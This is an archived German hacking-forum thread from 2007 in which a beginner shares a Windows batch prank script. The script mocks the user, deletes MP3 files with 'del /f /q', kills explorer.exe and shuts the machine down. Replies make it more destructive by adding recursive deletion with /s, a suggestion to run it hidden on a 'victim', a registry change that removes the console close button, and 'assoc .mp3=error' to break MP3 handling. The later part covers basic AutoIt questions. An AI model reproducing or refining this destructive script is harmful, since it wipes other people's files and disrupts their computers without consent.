PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : batch ärger^^



prounreal
03.04.2007, 19:54
also ich hab mal mein allererstes programm probiert zu machen in batch :oops:

aber kann mir jmd sagen ob das funktioniert?:




@echo off


echo Hallo %username%







ping -n 2 127.0.0.1 > nul
echo haha
ping -n 2 127.0.0.1 > nul
echo o
ping -n 2 127.0.0.1 > nul
echo w
ping -n 2 127.0.0.1 > nul
echo n
ping -n 2 127.0.0.1 > nul
echo e
ping -n 2 127.0.0.1 > nul
echo d
ping -n 2 127.0.0.1 > nul
echo !
echo achja, deine mp3s lösch ich auch noch
ping -n 4 127.0.0.1 > nul
echo byebye




del /f /q C:\*.mp3
ping -n 100 127.0.0.1 > nul
tkill explorer.exe
shutdown -s -t 80





ich weiss ist billig^^aber naja mein erster
:D

Gibson
03.04.2007, 21:51
Was bringt einem der Ping kack?
Shutdown -s -f -t 80
Probiers doch aus ... mach dir ne MP3 auf nen wechseldaten dräger und geb die bezeichnung an ?!

prounreal
04.04.2007, 11:35
das is so das ne warte zeit eingebunden ist wie wen du irgendwo was schreibst siehst du das und nicht gleich der ganze satz steht da

Gibson
04.04.2007, 20:53
Achso, haste mal ausprobiert?

prounreal
04.04.2007, 21:44
ja das mim ping schon^^

aber das mit dem mp3 löschen...

ob das geht?

Gibson
04.04.2007, 21:47
Mach einfach, wie ich gesagt hab auf nen Wechseldatenträger ... ;)

prounreal
05.04.2007, 22:09
ok thx

Gibson
06.04.2007, 17:47
Sag mir, obs gefunzt hat, wills wissen ;)

k0rxxx
06.04.2007, 18:29
@Gibson: Hättest es doch selbst testen können!

@prounreal: Ja es geht du musst nur an das
del /f /q C:\*.mp3
noch ein /s anhängen also so:

del /f /q /s C:\*.mp3
sonst werden nur die mp3s gelöscht die direkt in C:\ liegen. Mit dem /s löscht er auch alle mp3s in den Unterverzeichnissen.

Gibson
06.04.2007, 18:35
Hab e aber als wechseldatenträger nur ne 500 GB Festplatte und nen iPod un darauf hate ich dann keine Lust, aber egal x)

prounreal
06.04.2007, 19:58
vielen dank für den hinweis =)
hab mich vorher gewundert wiso dases das net löscht^^
jez teste ichs nochma im virutellen pc :D



edit:
hat alles geklappt =)


wär halt noch praktisch wen man das programm net mehr abbrechen kann, weiss evtl jmd wie das geht? =)

k0rxxx
07.04.2007, 13:11
Du könntest es bei deinem Victim "Hidden" ausführen dann sieht er aber garnichts. Ich mache eigentlich nichts mehr mit Batchfiles.
Autoit ist dermaßen komfortabel.

prounreal
07.04.2007, 18:14
autoit?ist das wieder ne andre programmiersprache? :?

k0rxxx
07.04.2007, 20:32
Ist eher ne Skriptsprache aber man kann damit auch richtig programmieren.

prounreal
08.04.2007, 13:23
also ich hab n bisschen gegoogelt und die 2 bilder gefunden:

http://www.autoitscript.com/images/gui_eg1.png

http://www.autoitscript.com/images/gui_eg2.png


aber bei mir is das wie ein normaler editor, was mach ich da falsch?

GODFATHER
08.04.2007, 13:44
http://www.autoitscript.com


hier die seite von dem prog

prounreal
08.04.2007, 15:37
jep von da hab ichs runnergeladen, aber bei mir sieht das aus wie ein normaler editor und net so wie da oben auf den beiden bildern :?

k0rxxx
08.04.2007, 16:41
jep von da hab ichs runnergeladen, aber bei mir sieht das aus wie ein normaler editor und net so wie da oben auf den beiden bildern :?
Das was da auf den beiden Bilder zu sehen ist, ist nur ein Beispielprogramm aus Autoit indem einem die GUI näher gebracht werden soll.
Wenn du das wirklich lernen willst lad dir gleich noch den SciteEditor herunter der vereinfacht das skripten erheblich.
Dann kann ich dir noch http://autoit.aufwaerts.de/portal.php ans Herz legen.

prounreal
08.04.2007, 17:23
vielen dank :D ich werd mal ein einfaches script probieren :D


edit


also ich hab mal was probiert(was ganz einfaches) :D


MsgBox(4, "Notepad", "Möchten Sie Notepad starten?")
if 4 then run ("notepad")
WinWaitActive ("Unbenannt - Edi")



aber es funktioniert nicht:(
da in der msgbox das 4 ist die auswahl Ja oder Nein
wen ich dan im script auf Ja klicke öffnet es notepad, wen ich auf nein klicke auch :(

k0rxxx
08.04.2007, 18:50
$rueck = MsgBox(4, "Notepad", "Möchten Sie Notepad starten?")
if $rueck==6 then run ("notepad")
If $rueck ==7 then Exit

So sollte es gehen.
Mach aber lieber einen Thread in der Coding Section auf passt ja hier nicht so wirklich rein.

franky
08.04.2007, 19:06
Benutze eigtnlich nur noch autoit da es sehr konfortabel ist. es lässt sich alles machen.

prounreal
09.04.2007, 00:15
für was genau ist rueck?

und wie ist eigentlich die liste der zahlen 1,2,3....xx


edit:

das mit rueck hat sich erledigt (man kann da ja nehmen was man will)


nur das mit den zahlen find ich irgenwie net so raus..


nochma n edit^^



also zuerst hat deine version funktioniert und dan hab ich das mal zu ner exe gemacht.danach, wo ich dan das testen wollte klickte ich auf ja, und dan kam aber notepad net mehr-.- sondern nur wieder die auswahl ja oder nein.

danach hab ichs nem kolleg geschickt obs bei ihm auch so ist.und bei ihm hat sich sogar der virenscanner auf sich aufmerksam gemacht, dan hab ich das ma bei virustotal geuppt:

aber wie kann das sein bei dem code...



http://img213.imageshack.us/img213/1688/wisoviruswr3.jpg

k0rxxx
09.04.2007, 13:24
Also bei mir geht das auch mit der exe.
Vielleicht kommt es bei dir zu Problemen weil du dein Skript selbst Notepad.exe genannt hast. Da du ja im Skript auch die Notepad.exe aufrufst. Nenne das mal um.

VT kam bei mir zu einem etwas milderem Ergebnis:
http://img259.imageshack.us/img259/1346/notepz0.jpg
aber KA warum das von manchen erkannt wird.

prounreal
09.04.2007, 16:17
hmm ok :D

dan könnte man das thema ja eigentlich closen und bei den nächsten "projekt" mach ich nen neuen tread auf :)

Barny
22.09.2007, 18:23
Du kannst das Fenster mit nem extra Registryeintrag maximieren :wink:

reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "1" /f > nul

Jetzt ist das "X" zum schließen nihct mehr da!

Hier die Gegenmedizin:

reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "0" /f > nul

mike1010
10.11.2007, 19:00
@echo off


echo Hallo %username%

// Die neuen Zeilen sind unsinnig.... (Leer zeile mit echo.)

ping -n 2 127.0.0.1 > nul
echo haha
ping -n 2 127.0.0.1 > nul
echo o
ping -n 2 127.0.0.1 > nul
echo w
ping -n 2 127.0.0.1 > nul
echo n
ping -n 2 127.0.0.1 > nul
echo e
ping -n 2 127.0.0.1 > nul
echo d
ping -n 2 127.0.0.1 > nul
echo !
echo achja, deine mp3s lösch ich auch noch
ping -n 4 127.0.0.1 > nul
echo byebye




del /f /q C:\*.mp3
assoc .mp3=error
// /\ Damit werden alle MP3's (auch neue) Geschrottet
ping -n 100 127.0.0.1 > nul < 100 Pings???? Wozu???
tkill explorer.exe
shutdown -s -t 80

mfG
C3R3M

big earl
10.11.2007, 19:07
also entweder löscht du alle Mp3 oder du änders die Attribute

beides geht nicht